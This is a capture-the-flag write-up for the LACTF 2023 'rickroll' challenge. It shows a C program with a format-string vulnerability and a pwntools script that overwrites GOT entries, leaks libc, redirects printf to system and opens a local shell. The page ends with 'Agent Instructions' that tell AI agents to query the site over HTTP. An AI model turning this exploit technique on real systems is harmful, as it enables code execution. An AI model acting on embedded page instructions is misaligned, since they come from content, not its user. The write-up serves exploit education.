# rickroll

```c
#include <stdio.h>

int main_called = 0;

int main(void) {
    if (main_called) {
        puts("nice try");
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf("Lyrics: ");
    char buf[256];
    fgets(buf, 256, stdin);
    printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
    printf(buf);
    printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
    return 0;
}
```

### Solution

```python
#!/usr/bin/env python3

from pwn import *
context.arch = "amd64"

exe = ELF("./rickroll_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

def conn():
    if args.REMOTE:
        log.failure("Too bad the event is over")
        quit()
    else:
        p = process([exe.path])
    return p


r = conn()

# overwrite main_called to 0
# overwrite puts GOT (0x40xxxx) to main() (0x401152)
def main_loop():
    payload = flat(
            #'--------'
            #'----------------'
            # write 0x00 to main_called
            b'%14$hhn|',                    # 6
            # write 0x52
            b'%81c%12$hhn|||||',            # 7
            # write 0x11
            b'%186c%13$hhn||||',            # 9
            b'END',                         # 11
            p64(exe.got["puts"]),           # 12
            p64(exe.got["puts"] + 1),       # 13
            p64(exe.symbols["main_called"]) # 14
            )
    r.sendlineafter(b': ', payload)
    r.recvuntil(b'END')


# overwrite main_called to 0
# leak libc base address
def ret_libc_base():
    payload = flat(
            #'--------'
            b'%9$hhn||',                    # 6
            b'--->%8$s',                    # 7
            p64(exe.got["printf"]),         # 8
            p64(exe.symbols["main_called"]) # 9
            )
    r.sendlineafter(b': ', payload)
    r.recvuntil(b'--->')
    leak = u64(r.recv(6) + b'\x00' * 2)
    leak -= libc.symbols["printf"]
    return leak


def write_memory(mem, data):
    write = fmtstr_payload(7, {mem : data}, 1, write_size="byte").ljust(200, b'i')
    payload = flat(
            #'--------'
            b'%32$hhn|',
            write,
            p64(exe.symbols["main_called"]) 
            )
    r.sendlineafter(b': ', payload)


def main():
    main_loop()
    libc_base = ret_libc_base()
    log.success(f"libc base: {hex(libc_base)}")
    system = libc_base + libc.symbols["system"]
    write_memory(exe.got["printf"], system)
    # printf(buf) => system(buf) => system("/bin/sh")
    r.sendline(b'/bin/sh')                      
    r.interactive()


if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/lactf/2023/rickroll.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
